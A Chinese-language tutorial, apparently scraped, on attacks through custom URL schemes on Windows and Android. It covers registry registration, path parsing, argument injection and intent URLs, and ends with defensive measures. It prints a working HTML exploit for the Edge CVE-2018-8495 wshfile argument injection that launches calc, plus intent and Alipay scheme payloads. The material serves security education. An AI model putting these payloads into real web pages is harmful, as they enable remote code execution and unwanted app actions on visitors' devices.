URL Scheme Attack
字数 1507 2025-08-27 12:33:42

URL Scheme 攻击技术详解

一、URL Scheme 简介

URL Scheme 是一种应用程序自定义的协议,通过访问这类协议可以调用启动对应的应用程序。其工作流程是:

  1. 应用程序在系统中注册 URL Scheme
  2. 当浏览器或其他支持 URL 的应用访问特定 Scheme 时
  3. 系统查找对应的 Scheme 项并启动该应用程序

常见示例:

  • mailto:admin@example.com
  • thunder://xxxxx
  • tel:+18888888888
  • sms:18688886666
  • alipays://platformapi/startapp

基本格式:
[scheme]://[host]/[path]?[query]

二、Windows 平台下的 URL Scheme

1. 注册表结构

Windows 平台下 URL Scheme 在注册表中注册,典型结构如下:

HKEY_CLASSES_ROOT
    test
        (Default) = "URL:test Protocol"
        URL Protocol = ""
        DefaultIcon
            (Default) = "test.exe,1"
        shell
            open
                command
                    (Default) = "C:\Program Files\test\test.exe" "%1"

其中 %1 是占位符表示启动参数,双引号用于处理参数中的空格。

2. 攻击面分析

Windows 平台存在两个主要攻击点:

  1. 路径解析问题:传入的 URL 可能被解析成本地路径,导致打开或执行本地文件

    • 示例:www.baidu.com.windows\system32\calc.exe
    • 系统会将后面的路径当作文件执行
  2. 参数注入:命令行参数中的双引号可以被闭合

    • 通过精心构造参数可以突破参数限制

3. ShellExecute 函数

Windows 使用 ShellExecute(Ex) 函数处理文件和 URL 的打开,有四个版本:

  • ShellExecuteA
  • ShellExecuteW
  • ShellExecuteExA
  • ShellExecuteExW

示例用法:

// 打开文件
ShellExecuteW(NULL, L"open", L"c:\\test.txt", NULL, NULL , SW_SHOW );

// 打开链接
ShellExecuteW(NULL, L"open", L"https://www.baidu.com", NULL, NULL , SW_SHOW );

4. 实际案例:Edge 远程代码执行 (CVE-2018-8495)

利用 WSHFile 协议通过参数注入实现 RCE:

  1. 查看注册表项:
    HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command

    • 指向 wscript.exe(Windows 脚本解释器)
  2. 构造的 EXP:

<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>window.onkeydown=e=>{ window.onkeydown=z={}; q.click()}</script>

三、Android 平台下的 URL Scheme

1. Intent Scheme URLs 攻击

基于 Android 浏览器桥梁间接实现 Intent-Based 攻击:

基本语法:

<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>

等价 Java 代码:

Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");

示例:

<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">发送短信</a>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">打开相机</a>

2. 第三方 URL Scheme

通过浏览器调用 Android 应用:

示例(支付宝抢红包):

<html>
<script>
window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other'
</script>
</html>

3. 高级攻击:应用克隆

结合多种技术:

  1. 伪协议调用
  2. WebView 跨域
  3. setAllowUniversalAccessFromFileURLs 设置为 true
    • 导致 File 协议可跨域读取文件

四、防御措施

  1. 输入验证

    • 严格验证 URL Scheme 的参数
    • 过滤特殊字符和路径跳转符
  2. 参数处理

    • 避免直接拼接参数到命令行
    • 使用安全的参数传递方式
  3. 权限控制

    • 限制 WebView 的跨域访问
    • 谨慎设置 setAllowUniversalAccessFromFileURLs
  4. 注册表安全

    • 严格控制注册表中 URL Scheme 的权限
    • 监控敏感注册表项的修改

五、总结

URL Scheme 为系统、浏览器和应用提供了方便的交互方式,但不同平台和实现的差异带来了多种安全风险:

  1. 路径解析问题可能导致本地文件访问或执行
  2. 参数注入可能导致命令执行
  3. 跨域问题可能导致信息泄露
  4. 不当的权限设置可能扩大攻击面

安全开发人员需要充分了解这些风险,在设计和实现 URL Scheme 功能时采取适当的安全措施。

URL Scheme 攻击技术详解 一、URL Scheme 简介 URL Scheme 是一种应用程序自定义的协议,通过访问这类协议可以调用启动对应的应用程序。其工作流程是: 应用程序在系统中注册 URL Scheme 当浏览器或其他支持 URL 的应用访问特定 Scheme 时 系统查找对应的 Scheme 项并启动该应用程序 常见示例: mailto:admin@example.com thunder://xxxxx tel:+18888888888 sms:18688886666 alipays://platformapi/startapp 基本格式: [scheme]://[host]/[path]?[query] 二、Windows 平台下的 URL Scheme 1. 注册表结构 Windows 平台下 URL Scheme 在注册表中注册,典型结构如下: 其中 %1 是占位符表示启动参数,双引号用于处理参数中的空格。 2. 攻击面分析 Windows 平台存在两个主要攻击点: 路径解析问题 :传入的 URL 可能被解析成本地路径,导致打开或执行本地文件 示例: www.baidu.com.windows\system32\calc.exe 系统会将后面的路径当作文件执行 参数注入 :命令行参数中的双引号可以被闭合 通过精心构造参数可以突破参数限制 3. ShellExecute 函数 Windows 使用 ShellExecute(Ex) 函数处理文件和 URL 的打开,有四个版本: ShellExecuteA ShellExecuteW ShellExecuteExA ShellExecuteExW 示例用法: 4. 实际案例:Edge 远程代码执行 (CVE-2018-8495) 利用 WSHFile 协议通过参数注入实现 RCE: 查看注册表项: HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command 指向 wscript.exe (Windows 脚本解释器) 构造的 EXP: 三、Android 平台下的 URL Scheme 1. Intent Scheme URLs 攻击 基于 Android 浏览器桥梁间接实现 Intent-Based 攻击: 基本语法: 等价 Java 代码: 示例: 2. 第三方 URL Scheme 通过浏览器调用 Android 应用: 示例(支付宝抢红包): 3. 高级攻击:应用克隆 结合多种技术: 伪协议调用 WebView 跨域 setAllowUniversalAccessFromFileURLs 设置为 true 导致 File 协议可跨域读取文件 四、防御措施 输入验证 : 严格验证 URL Scheme 的参数 过滤特殊字符和路径跳转符 参数处理 : 避免直接拼接参数到命令行 使用安全的参数传递方式 权限控制 : 限制 WebView 的跨域访问 谨慎设置 setAllowUniversalAccessFromFileURLs 注册表安全 : 严格控制注册表中 URL Scheme 的权限 监控敏感注册表项的修改 五、总结 URL Scheme 为系统、浏览器和应用提供了方便的交互方式,但不同平台和实现的差异带来了多种安全风险: 路径解析问题可能导致本地文件访问或执行 参数注入可能导致命令执行 跨域问题可能导致信息泄露 不当的权限设置可能扩大攻击面 安全开发人员需要充分了解这些风险,在设计和实现 URL Scheme 功能时采取适当的安全措施。